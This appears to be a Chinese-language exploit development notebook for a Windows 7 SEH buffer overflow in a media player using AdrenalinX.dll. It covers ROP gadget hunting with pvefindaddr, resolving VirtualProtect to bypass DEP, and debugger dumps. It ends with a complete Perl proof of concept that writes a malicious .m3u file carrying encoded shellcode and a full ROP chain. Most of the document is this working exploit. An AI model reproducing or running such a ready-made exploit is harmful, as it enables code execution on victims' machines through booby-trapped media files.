环境 : WIN7
寻找 无ASLR+DEP 的DLL 去溢出
!pvefindaddr rop 慢慢 搜 也可以 先搜索出 !pvefindaddr noaslr 才对指定
然后查找合适的东西 EG: cat rop.txt | grep -I "ADD ESP,4" > 1.txt
因为是覆盖 SEH handler 所以 覆盖的 ROP小配件不是连续的,首先要先跳到 我们的字符串去
在反复进行测试时要注意 软件是不是运行后就卡住了,
这是因为它打开了上一次测试的文件,这时测试的数据有误
动态寻找 VirtualProtect 函数的地址,利用偏移去寻找~~~~~~~~~~~~~~
有时候 可以直接 二进制寻找 指令
堆栈 处于 不能执行状态
还有一个问题就是
0012F004 FFFFFFFF |hProcess = FFFFFFFF
0012F008 0012F20C |Address = 0012F20C
0012F00C 00000300 |Size = 300 (768.)
0012F010 00000040 |NewProtect = PAGE_EXECUTE_READWRITE
0012F014 1024BB98 pOldProtect = Adrenali.1024BB98
我是 对 0012F20C 开始 设置 可执行的 但是我执行是从 0012F208 开始执行的,但还是可以执行的
0012F208 45 inc ebp
0012F209 45 inc ebp
0012F20A 45 inc ebp
0012F20B 45 inc ebp
0012F20C 45 inc ebp
0012F20D 45 inc ebp
0012F20E 45 inc ebp
0012F20F 45 inc ebp
0012F210 45 inc ebp
最后成功POC:
my $file = "1.m3u";#perl my $junk1="A"x24; #2176; #esp start my $shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylaxrJTJP8Wn0h3SK98QpOe84rqdLQDLLKXtNmSNYdUckkoGdDFKKSsVoKvSp2RsaxcEPsU5Qbsd03N21tLKPZ4pNkqKflLKQKDLLKEKLKuKLKQKtXlKJKlmwMbJ5ZTxeNrUGuJ5KO1GZXJ550LKw57LlKPLWuQhUShMLKPYGPWskmvSKOQWlKttOKDCkEJ9dOoNVf4zzdBT7xKqKzc7gsJpqV8kJQukQDddglaezDLKSia4S3IMcVLKwLQkLKQIELESKmS3dloKlUqONKqGQqWMqzVjP8eNrUI9WC9KPSphpdQq6PWS586CpPpaBNnkKtRsPPpP2syo1GKL0SKORw"; ####################################################################### my $justParam = pack('V',0x10129df6); # PUSH ESP # POP ESI # RETN 0x10 $justParam = $justParam.pack('V',0x10135eaf); # RETN $justParam = $justParam."x"x16; #top ret 0x10 $justParam = $justParam.pack('V',0x10013C35); #ADD ESP,20 RETN [Module : AdrenalinX.dll] ** $justParam = $justParam."vvvv"; $justParam = $justParam."1111"; $justParam = $justParam."2222"; $justParam = $justParam."3333"; $justParam = $justParam."4444"; $justParam = $justParam.pack('V',0x1024bb98);#writeable $justParam = $justParam."xxxx"x2; #kernel32 address my $findkernel32 = pack('V',0x1003de9f); # PUSH ESI # POP EAX # MOV EAX,ESI # POP EDI # RETN $findkernel32 =$findkernel32.'x'x4; $findkernel32 =$findkernel32.pack('V',0x1005de8e); # XCHG EAX,EBP # RETN $findkernel32 =$findkernel32.pack('V',0x1012014d); # XOR EAX,EAX # RETN $findkernel32 =$findkernel32.pack('V',0x101201d6); # POP EAX # RETN $findkernel32 =$findkernel32.pack('V',0xFFFFF074); # OFFSET F8C 0-f8c $findkernel32 =$findkernel32.pack('V',0x101111e2); # NEG EAX # RETN $findkernel32 =$findkernel32.pack('V',0x1013a5e4); # ADD EAX,EBP # RETN $findkernel32 =$findkernel32.pack('V',0x1010010f); # POP ECX # RETN $findkernel32 =$findkernel32.pack('V',0xFFFFFFFF); $findkernel32 =$findkernel32.pack('V',0x1012dd87); # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN $findkernel32 =$findkernel32.pack('V',0x1012014b); # INC EAX # RETN # virtualProtect Address my $findVirtualProtect =pack('V',0x1002660b); # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C $findVirtualProtect = $findVirtualProtect."x"x8; $findVirtualProtect = $findVirtualProtect.pack('V',0x1012014d);# XOR EAX,EAX # RETN $findVirtualProtect = $findVirtualProtect."x"x12;#top ret 0xc $findVirtualProtect = $findVirtualProtect.pack('V',0x101201d6);# POP EAX # RETN $findVirtualProtect = $findVirtualProtect.pack('V',0xFFFB337C);# OFSET 4CC84 1 subtract 2 #758FED5C 50 push eax #758FED5D FF15 0C178B75 call dword ptr ds:[<&ntdll.RtlExitUserThread>] ; ntdll.RtlExitUserThread #758B20D8 jmp dword ptr ds:[<&API-MS-Win-Core-Memory-L1-1-0.Virtua>; KERNELBA.VirtualProtect $findVirtualProtect = $findVirtualProtect.pack('V',0x101111e2);# NEG EAX # RETN $findVirtualProtect = $findVirtualProtect.pack('V',0x1002660b);# XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C $findVirtualProtect = $findVirtualProtect."x"x8; $findVirtualProtect = $findVirtualProtect.pack('V',0x1013c584);# SUB EAX,ECX # RETN $findVirtualProtect = $findVirtualProtect."x"x12;#top ret 0xc $findVirtualProtect = $findVirtualProtect.pack('V',0x1006798b)x 8;# INC ESI # RETN $findVirtualProtect = $findVirtualProtect.pack('V',0x1010eac7);# MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN $findVirtualProtect = $findVirtualProtect."x"x4; ########################11111111111111111111############################################### my $param1 = pack('V',0x10117105); #0x10117105 : # PUSH EAX # POP ESI # POP EBX # RETN [Module : AdrenalinX.dll] ** $param1 = $param1."x"x4; $param1 = $param1.pack('V',0x1006798B)x4; # INC ESI # RETN [Module : AdrenalinX.dll] ** $param1 = $param1.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param1 = $param1."x"x4; $param1 = $param1.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param1 = $param1."x"x4; $param1 = $param1.pack('V',0x1010EAC7); #MOV DWORD PTR DS:[ESI+10],EAX MOV EAX,ESI POP ESI RETN [Module : AdrenalinX.dll] ** $param1 = $param1."x"x4; ########################22222222222222222222############################################### my $param2 = pack('V',0x10117105); #0x10117105 : # PUSH EAX # POP ESI # POP EBX # RETN [Module : AdrenalinX.dll] ** $param2 = $param2."x"x4; $param2 = $param2.pack('V',0x1006798B)x4; # INC ESI # RETN [Module : AdrenalinX.dll] ** $param2 = $param2.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param2 = $param2."x"x4; $param2 = $param2.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param2 = $param2."x"x4; $param2 = $param2.pack('V',0x1010EAC7); #MOV DWORD PTR DS:[ESI+10],EAX MOV EAX,ESI POP ESI RETN [Module : AdrenalinX.dll] ** $param2 = $param2."x"x4; ########################33333333333333333333############################################### my $param3 = pack('V',0x10117105); #0x10117105 : # PUSH EAX # POP ESI # POP EBX # RETN [Module : AdrenalinX.dll] ** $param3 = $param3."x"x4; $param3 = $param3.pack('V',0x1006798B)x4; # INC ESI # RETN [Module : AdrenalinX.dll] ** $param3 = $param3.pack('V',0x1001CD6C); # XOR EAX,EAX # RETN [Module : AdrenalinX.dll] ** $param3 = $param3.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param3 = $param3."x"x4; $param3 = $param3.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param3 = $param3."x"x4; $param3 = $param3.pack('V',0x1014B57F); # ADD EAX,100 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param3 = $param3."x"x4; $param3 = $param3.pack('V',0x1010EAC7); #MOV DWORD PTR DS:[ESI+10],EAX MOV EAX,ESI POP ESI RETN [Module : AdrenalinX.dll] ** $param3 = $param3."x"x4; ########################44444444444444444444############################################### my $param4 = pack('V',0x10117105); #0x10117105 : # PUSH EAX # POP ESI # POP EBX # RETN [Module : AdrenalinX.dll] ** $param4 = $param4."x"x4; $param4 = $param4.pack('V',0x1006798B); # INC ESI # RETN [Module : AdrenalinX.dll] ** $param4 = $param4.pack('V',0x1006798B); # INC ESI # RETN [Module : AdrenalinX.dll] ** $param4 = $param4.pack('V',0x1006798B); # INC ESI # RETN [Module : AdrenalinX.dll] ** $param4 = $param4.pack('V',0x1006798B); # INC ESI # RETN [Module : AdrenalinX.dll] ** $param4 = $param4.pack('V',0x1001CD6C); # XOR EAX,EAX # RETN [Module : AdrenalinX.dll] ** Null byte $param4 = $param4.pack('V',0x1014B571); # ADD EAX,40 # POP EBP # RETN [Module : AdrenalinX.dll] ** $param4 = $param4."x"x4; $param4 = $param4.pack('V',0x1010EAC7); #MOV DWORD PTR DS:[ESI+10],EAX MOV EAX,ESI POP ESI RETN [Module : AdrenalinX.dll] ** $param4 = $param4."x"x4; ########################xxxxxxxxxxxxxxxxxxxx############################################### my $justret = pack('V',0x101263a0)."x"x4; # XCHG EAX,ESP # RETN print length($junk1.$justParam.$findkernel32.$findVirtualProtect.$param1.$param2.$param3.$param4.$justret)." "; my $junk2 = "x"x100; $junk2 = $junk2."x81xECx22xfexffxff"; $junk2 = $junk2.$shellcode; $junk2 = $junk2.("E"x(2176-length($junk1.$justParam.$findkernel32.$findVirtualProtect.$param1.$param2.$param3.$param4.$justret. $junk2))); my $JustHandlerToStack = pack('V',0x100D7AEC); # ADD ESP,418 # RETN [Module : AdrenalinX.dll] ** my $payload= $junk1.$justParam.$findkernel32.$findVirtualProtect.$param1.$param2.$param3.$param4.$justret.$junk2.$JustHandlerToStack; print length($payload); open($FILE,">$file"); binmode($FILE); print $FILE $payload; close($FILE);